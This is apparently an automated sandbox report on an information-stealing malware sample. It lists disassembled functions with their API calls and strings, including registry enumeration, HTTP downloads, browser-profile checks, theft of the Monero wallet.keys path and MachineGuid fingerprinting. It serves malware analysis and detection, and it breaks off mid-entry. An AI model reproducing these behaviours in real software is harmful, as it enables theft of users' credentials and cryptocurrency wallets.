Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi$jxA
API String ID: 1856320939-3937734583
Opcode ID: 13e1d33eac386514867e4e3ec7983ded626eb068a244131e6e220238ada2be5a
Instruction ID: 0e3267de1265d81d1a62226ef28a80151d36d88a62da14f425e30a61553cab10
Opcode Fuzzy Hash: 13e1d33eac386514867e4e3ec7983ded626eb068a244131e6e220238ada2be5a
Instruction Fuzzy Hash: 5041AFB1A0422C9BCB249F749D85ADEBABDEF19304F0000EAF109E3121E6758FD58F54

Function 00411203 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC

Strings

%s\%s, xrefs: 004112D7
- , xrefs: 004113E6
?, xrefs: 00411263

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 1736561257-3278919252
Opcode ID: dad845fa4b7f0cfd4eba4eb3ec9f24b5b39aaca9e77695f308e1d4d554ea3392
Instruction ID: 71e93d291eb08405029e4405a094c382c8089f583a4298610e2cb025ce7c2c33
Opcode Fuzzy Hash: dad845fa4b7f0cfd4eba4eb3ec9f24b5b39aaca9e77695f308e1d4d554ea3392
Instruction Fuzzy Hash: 5F61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF75AFC9CF54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: 8b43ac5e0549680695b2bb482840af3e0426e72eed708e24d7f76585e8e409ac
Instruction ID: 3012875da3fdfb9272a235e373719c06f2bb6316beb2d8f09f7bd5886403af84
Opcode Fuzzy Hash: 8b43ac5e0549680695b2bb482840af3e0426e72eed708e24d7f76585e8e409ac
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6759E958FA8

Function 004168C6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
lstrlenA.KERNEL32(?), ref: 00416925

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 0041693A
lstrlenA.KERNEL32(?), ref: 00416949
lstrlenA.KERNEL32(00000000), ref: 00416962

Strings

ERROR, xrefs: 0041697E
ERROR, xrefs: 00416985
ERROR, xrefs: 00416977
ERROR, xrefs: 00416914
ERROR, xrefs: 0041696D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: 65b79203c441785fddf8f84852748e2128e1848264bf142e98f1946a5684973a
Instruction ID: f999f3c62c0b23b7ff363c4994354db6f8ba44fc0c3398813b2d55053c878ef3
Opcode Fuzzy Hash: 65b79203c441785fddf8f84852748e2128e1848264bf142e98f1946a5684973a
Instruction Fuzzy Hash: 6021E571910204ABCB10BB75DC469DD77B8AF04308F11512BFC05E3191DB7DD9858F99

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 10d604243291b2d129534730f69d78516097bcc108e7a10a762a72f92156b923
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 10d604243291b2d129534730f69d78516097bcc108e7a10a762a72f92156b923
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 75fab543a449f2685085885795b59cbea3fa668453bc9f9c35b9832efa3d8375
Instruction ID: 0ff93e3964314176e77d227a408a26f2d5f5c114657683c54b3501ab57c319cc
Opcode Fuzzy Hash: 75fab543a449f2685085885795b59cbea3fa668453bc9f9c35b9832efa3d8375
Instruction Fuzzy Hash: 7B5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 00401AB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 129stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$File$AllocCreateHeaplstrlen$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 3529164666-3586502688
Opcode ID: 1832ed20e601200fa5063ad7618282aa755cf9e73ff62fe5ddcc426354561412
Instruction ID: 088a9e38a3872e3d59dfe4f786e5ab428d4476d4e58593b9f87c2f805fbd2200
Opcode Fuzzy Hash: 1832ed20e601200fa5063ad7618282aa755cf9e73ff62fe5ddcc426354561412
Instruction Fuzzy Hash: 8C512DB1E9012D9BCF21EB25DD466DD7379AF04308F5050BAB60873191DA78AFC98F98

Function 00415DF7 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeapwsprintf$AllocAttributesFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1968765330-0
Opcode ID: 8a95208f727adeab3463ee9a9c95def6d372cd693ea90166d9eb0d2fe35566f9
Instruction ID: d4027fbd7381f6bfbcf24146e6074306668531ed6589037fa2cb1aad682cc9ea
Opcode Fuzzy Hash: 8a95208f727adeab3463ee9a9c95def6d372cd693ea90166d9eb0d2fe35566f9
Instruction Fuzzy Hash: B4511BB1A0011C9BCF54DB64CC85ADDB7B9BB4C305F4044EAF609E3250EA75AB898F58

Function 0041566F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

h{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValue_memset
String ID: h{A
API String ID: 3357907479-1955959473
Opcode ID: 2092683283f8f05b025d3b948e45c9dd5b69c24ce4ee78f1b0c6bbfeb2168e11
Instruction ID: 11ea90a2464f6125f524f968da0a53cddfc2673ac5f331e98a6178277102b4a3
Opcode Fuzzy Hash: 2092683283f8f05b025d3b948e45c9dd5b69c24ce4ee78f1b0c6bbfeb2168e11
Instruction Fuzzy Hash: 4341C07194011D9FDF24EF60EC86EE8777ABB18309F4004AAB109A31A0EE759FC58F94

Function 004115D4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
CharToOemA.USER32(?,?), ref: 0041166B

Strings

MachineGuid, xrefs: 00411640
SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2355623204-1211650757
Opcode ID: 1dbf5f0b0fb7fdee8ff26eaefef28e2aff589689479ce921f87ce0c0501343ba
Instruction ID: bf363316d9f6571f49514449d26765cf658df32c5c9fcb3b3632bb5b835e2134
